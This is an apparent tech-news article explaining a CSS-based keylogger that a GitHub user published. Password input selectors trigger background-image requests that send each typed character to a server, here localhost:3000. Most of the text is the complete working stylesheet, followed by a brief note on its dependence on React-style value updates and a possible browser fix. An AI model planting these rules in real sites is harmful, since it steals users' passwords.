Simple CSS Hack Can Steal Internet Passwords



A user on GitHub just posted an alarming exploit shows how a simple CSS hack can steal internet passwords. It’s kinda funny how you wouldn’t really think of CSS when it comes to vulnerabilities and hacking. Since CSS is only used to style a webpage, its threat level is generally considered to be relatively low.

However, CSS does provide developers with very advanced selectors. In this case, if you wanted to select an input with the value of A in it and turn it red, then CSS allows you to do that.  Now combine that with CSS’s background-img URL property that allows you to create a GET request for some background image. But instead of grabbing an image, you post to a server.

So here’s what all of this looks like:

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

What this selector is doing, is that it’s looking for any input of type password and value that ends with a. So you’re probably thinking, okay what’s the big deal? You’re only able to get the last value of an input field and not the whole password. And you are absolutely right until you consider doing something like GitHub user maxchehab:

input[type="password"][value$=" "] { background-image: url("https://localhost:3000/+"); }
input[type="password"][value$="!"] { background-image: url("https://localhost:3000/%21"); }
input[type="password"][value$="\""] { background-image: url("https://localhost:3000/%22"); }
input[type="password"][value$="#"] { background-image: url("https://localhost:3000/%23"); }
input[type="password"][value$="$"] { background-image: url("https://localhost:3000/%24"); }
input[type="password"][value$="%"] { background-image: url("https://localhost:3000/%25"); }
input[type="password"][value$="&"] { background-image: url("https://localhost:3000/%26"); }
input[type="password"][value$="'"] { background-image: url("https://localhost:3000/%27"); }
input[type="password"][value$="("] { background-image: url("https://localhost:3000/%28"); }
input[type="password"][value$=")"] { background-image: url("https://localhost:3000/%29"); }
input[type="password"][value$="*"] { background-image: url("https://localhost:3000/%2A"); }
input[type="password"][value$="+"] { background-image: url("https://localhost:3000/%2B"); }
input[type="password"][value$=","] { background-image: url("https://localhost:3000/%2C"); }
input[type="password"][value$="-"] { background-image: url("https://localhost:3000/-"); }
input[type="password"][value$="."] { background-image: url("https://localhost:3000/."); }
input[type="password"][value$="/"] { background-image: url("https://localhost:3000/%2F"); }
input[type="password"][value$="0"] { background-image: url("https://localhost:3000/0"); }
input[type="password"][value$="1"] { background-image: url("https://localhost:3000/1"); }
input[type="password"][value$="2"] { background-image: url("https://localhost:3000/2"); }
input[type="password"][value$="3"] { background-image: url("https://localhost:3000/3"); }
input[type="password"][value$="4"] { background-image: url("https://localhost:3000/4"); }
input[type="password"][value$="5"] { background-image: url("https://localhost:3000/5"); }
input[type="password"][value$="6"] { background-image: url("https://localhost:3000/6"); }
input[type="password"][value$="7"] { background-image: url("https://localhost:3000/7"); }
input[type="password"][value$="8"] { background-image: url("https://localhost:3000/8"); }
input[type="password"][value$="9"] { background-image: url("https://localhost:3000/9"); }
input[type="password"][value$=":"] { background-image: url("https://localhost:3000/%3A"); }
input[type="password"][value$=";"] { background-image: url("https://localhost:3000/%3B"); }
input[type="password"][value$="<"] { background-image: url("https://localhost:3000/%3C"); }
input[type="password"][value$="="] { background-image: url("https://localhost:3000/%3D"); }
input[type="password"][value$=">"] { background-image: url("https://localhost:3000/%3E"); }
input[type="password"][value$="?"] { background-image: url("https://localhost:3000/%3F"); }
input[type="password"][value$="@"] { background-image: url("https://localhost:3000/%40"); }
input[type="password"][value$="A"] { background-image: url("https://localhost:3000/A"); }
input[type="password"][value$="B"] { background-image: url("https://localhost:3000/B"); }
input[type="password"][value$="C"] { background-image: url("https://localhost:3000/C"); }
input[type="password"][value$="D"] { background-image: url("https://localhost:3000/D"); }
input[type="password"][value$="E"] { background-image: url("https://localhost:3000/E"); }
input[type="password"][value$="F"] { background-image: url("https://localhost:3000/F"); }
input[type="password"][value$="G"] { background-image: url("https://localhost:3000/G"); }
input[type="password"][value$="H"] { background-image: url("https://localhost:3000/H"); }
input[type="password"][value$="I"] { background-image: url("https://localhost:3000/I"); }
input[type="password"][value$="J"] { background-image: url("https://localhost:3000/J"); }
input[type="password"][value$="K"] { background-image: url("https://localhost:3000/K"); }
input[type="password"][value$="L"] { background-image: url("https://localhost:3000/L"); }
input[type="password"][value$="M"] { background-image: url("https://localhost:3000/M"); }
input[type="password"][value$="N"] { background-image: url("https://localhost:3000/N"); }
input[type="password"][value$="O"] { background-image: url("https://localhost:3000/O"); }
input[type="password"][value$="P"] { background-image: url("https://localhost:3000/P"); }
input[type="password"][value$="Q"] { background-image: url("https://localhost:3000/Q"); }
input[type="password"][value$="R"] { background-image: url("https://localhost:3000/R"); }
input[type="password"][value$="S"] { background-image: url("https://localhost:3000/S"); }
input[type="password"][value$="T"] { background-image: url("https://localhost:3000/T"); }
input[type="password"][value$="U"] { background-image: url("https://localhost:3000/U"); }
input[type="password"][value$="V"] { background-image: url("https://localhost:3000/V"); }
input[type="password"][value$="W"] { background-image: url("https://localhost:3000/W"); }
input[type="password"][value$="X"] { background-image: url("https://localhost:3000/X"); }
input[type="password"][value$="Y"] { background-image: url("https://localhost:3000/Y"); }
input[type="password"][value$="Z"] { background-image: url("https://localhost:3000/Z"); }
input[type="password"][value$="["] { background-image: url("https://localhost:3000/%5B"); }
input[type="password"][value$="\\"] { background-image: url("https://localhost:3000/%5C"); }
input[type="password"][value$="]"] { background-image: url("https://localhost:3000/%5D"); }
input[type="password"][value$="^"] { background-image: url("https://localhost:3000/%5E"); }
input[type="password"][value$="_"] { background-image: url("https://localhost:3000/_"); }
input[type="password"][value$="`"] { background-image: url("https://localhost:3000/%60"); }
input[type="password"][value$="a"] { background-image: url("https://localhost:3000/a"); }
input[type="password"][value$="b"] { background-image: url("https://localhost:3000/b"); }
input[type="password"][value$="c"] { background-image: url("https://localhost:3000/c"); }
input[type="password"][value$="d"] { background-image: url("https://localhost:3000/d"); }
input[type="password"][value$="e"] { background-image: url("https://localhost:3000/e"); }
input[type="password"][value$="f"] { background-image: url("https://localhost:3000/f"); }
input[type="password"][value$="g"] { background-image: url("https://localhost:3000/g"); }
input[type="password"][value$="h"] { background-image: url("https://localhost:3000/h"); }
input[type="password"][value$="i"] { background-image: url("https://localhost:3000/i"); }
input[type="password"][value$="j"] { background-image: url("https://localhost:3000/j"); }
input[type="password"][value$="k"] { background-image: url("https://localhost:3000/k"); }
input[type="password"][value$="l"] { background-image: url("https://localhost:3000/l"); }
input[type="password"][value$="m"] { background-image: url("https://localhost:3000/m"); }
input[type="password"][value$="n"] { background-image: url("https://localhost:3000/n"); }
input[type="password"][value$="o"] { background-image: url("https://localhost:3000/o"); }
input[type="password"][value$="p"] { background-image: url("https://localhost:3000/p"); }
input[type="password"][value$="q"] { background-image: url("https://localhost:3000/q"); }
input[type="password"][value$="r"] { background-image: url("https://localhost:3000/r"); }
input[type="password"][value$="s"] { background-image: url("https://localhost:3000/s"); }
input[type="password"][value$="t"] { background-image: url("https://localhost:3000/t"); }
input[type="password"][value$="u"] { background-image: url("https://localhost:3000/u"); }
input[type="password"][value$="v"] { background-image: url("https://localhost:3000/v"); }
input[type="password"][value$="w"] { background-image: url("https://localhost:3000/w"); }
input[type="password"][value$="x"] { background-image: url("https://localhost:3000/x"); }
input[type="password"][value$="y"] { background-image: url("https://localhost:3000/y"); }
input[type="password"][value$="z"] { background-image: url("https://localhost:3000/z"); }
input[type="password"][value$="{"] { background-image: url("https://localhost:3000/%7B"); }
input[type="password"][value$="|"] { background-image: url("https://localhost:3000/%7C"); }
input[type="password"][value$="\\}"] { background-image: url("https://localhost:3000/%7D"); }
input[type="password"][value$="~"] { background-image: url("https://localhost:3000/~"); }
input[type="password"][value$=""] { background-image: url("https://localhost:3000/%7F"); }

Now, this is detecting every key-stroke and sending it to the server!

Okay, let’s settle down the fear-mongering for a second and point out one small thing. This is only a vulnerability for input fields that update the value field with the user’s value. Most of the time, this isn’t an issue…except if you’re using ReactJS.

In fact, it’s recommended in ReactJS that you only update the input field using this method. And unfortunately, lots of sites do use ReactJS. However, the fix for this could simply be a browser requests that could restrict CSS access from certain types of fields like password inputs.